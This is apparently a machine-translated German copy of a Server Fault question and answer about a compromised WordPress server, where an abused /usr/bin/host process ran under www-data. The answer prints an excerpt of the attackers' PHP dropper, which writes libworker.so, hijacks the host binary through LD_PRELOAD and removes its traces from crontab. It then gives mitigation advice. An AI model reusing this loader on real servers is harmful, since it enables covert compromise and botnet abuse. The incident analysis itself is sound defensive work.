Frage / usr / bin / host wird von einem gehackten PHP-Skript ausgeführt


Heute habe ich eine ungewöhnlich hohe Anfragerate auf dem Apache-Webserver und einen ziemlich hohen eingehenden Netzwerkverkehr bemerkt. Nach dem Überprüfen der Apache-Seite mod_status fand ich die problematischen URLs aus dem Pfad www.server.com/www/wp-includes/js/tinymce/plugins/wpautoresize/. Und tatsächlich habe ich dort mehrere gehackte (verschleierte) PHP-Skripte gefunden.

Auch bemerkt, seltsamer Prozess von www-Daten Benutzer ausgeführt:

www-data  7300 10.8  0.1 2122900 18768 ?       Ssl  Jul11 121:47 /usr/bin/host

Überprüfung /proc/7300/cmdline enthüllt, dass das tatsächlich das Original ist /usr/bin/host binär. netstat -anp hat gezeigt, dass es viele HTTP-Verbindungen geöffnet hat, also wird diese Binärdatei irgendwie missbraucht. debsums bestätigte die binäre Prüfsumme als OK. Da der Prozess unter www-data user lief, hatte ich keinen Grund zu glauben, dass der Server selbst kompromittiert wurde.

Wie wird diese binäre missbraucht?

EDIT: Dies ist nicht breit "wie mit kompromittierten Server umzugehen" Frage. Eher eine Frage (und bereits eine Antwort) über eine bestimmte Art von Missbrauch, wie es technisch gemacht wird, da dieser spezielle Fall ziemlich kreativ in seiner Funktionsweise ist. Es scheint, dass dies seit einigen Jahren in der Wildnis ist (alte Themen und Fragen von 2012) und ich habe es diese Woche getroffen.


8
2017-07-12 21:59


Ursprung


Da die damit verbundene Frage abgeschlossen ist, habe ich eine neue geöffnet und meine Ergebnisse in Antwort gegeben. serverfault.com/questions/554801/ ... - Marki555
mögliches Duplikat von Wie gehe ich mit einem kompromittierten Server um? - Ward♦


Antworten:


Nach dem Ausgraben der Quellcodes von beleidigten PHP-Skripten und Googeln (Dieser Thread), Ich habe eine Erklärung gefunden.

Dies ist ein Teil von system.php Code, den ich gefunden habe:

<?php
// ...
$n = file_put_contents("./libworker.so", $so);
$AU=@$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
$HBN=basename("/usr/bin/host");
$SCP=getcwd();
@file_put_contents("1.sh", "#!/bin/sh\ncd '".$SCP."'\nif [ -f './libworker.so' ];then killall -9 $HBN;export AU='".$AU."'\nexport LD_PRELOAD=./libworker.so\n/usr/bin/host\nunset LD_PRELOAD\ncrontab -l|grep -v '1\.sh'|grep -v crontab|crontab\nfi\nrm 1.sh\nexit 0\n");
// ...

Wie /usr/bin/host beteiligt ist, ist ein bisschen fortgeschrittener. Programme verwenden Bibliotheken (.so Dateien) für einige ihrer Funktionen. Benutzer können eine Verbindung herstellen (LD_PRELOAD) einige .so Datei (en) vor dem Start einer legitimen Binärdatei, um zu ändern, wie es sich verhält.

Wie Sie sehen können, erstellt dieses Skript eine Datei libworker.so und verwendet LD_PRELOAD Umgebungsvariable, um es zu laden, so legitim host binary macht etwas völlig anderes.

Es schafft ein 1.sh Shell - Skript und versucht es auf verschiedene Arten auszuführen (direkt, mit at Befehl, mit Cron). Unmittelbar danach entfernt es die Skript- und Bibliotheksdatei von der Festplatte, so dass es nicht bemerkt wird.

Was zuerst passierte, war, dass einige anfällige Wordpress-Plugins missbraucht wurden und Angreifer ihre Dateien in Word-Writable-Verzeichnisse schreiben konnten.

Minderung bedeutet, alte Zugriffsprotokolldateien für diese Domäne zu analysieren und zu versuchen, diese zu finden POST Anfragen an ungewöhnliche Orte - zum Beispiel direkt auf WP / Joomla Plugin PHP-Dateien zugreifen ist ungewöhnlich. Entfernen Sie dann alle gefundenen verschleierten PHP-Dateien, korrigieren Sie die Verzeichnisberechtigungen und beenden Sie die Ausführung host verarbeitet und überwacht Logfiles für Versuche von Re-Hacks.

BEARBEITEN: Ich habe Informationen von ESET, dass sie bereits diese bestimmte Bibliothek und auch andere Versionen erkennen. Antiviren-Unternehmen geben ihren Namen Roopre und es scheint, dass es als Teil von verwendet wird Chaos Botnet.

Eingehend Analyse des Mayhem-Botnets.

Eingehend Analyse von diesem Exploit.


10
2017-07-12 21:59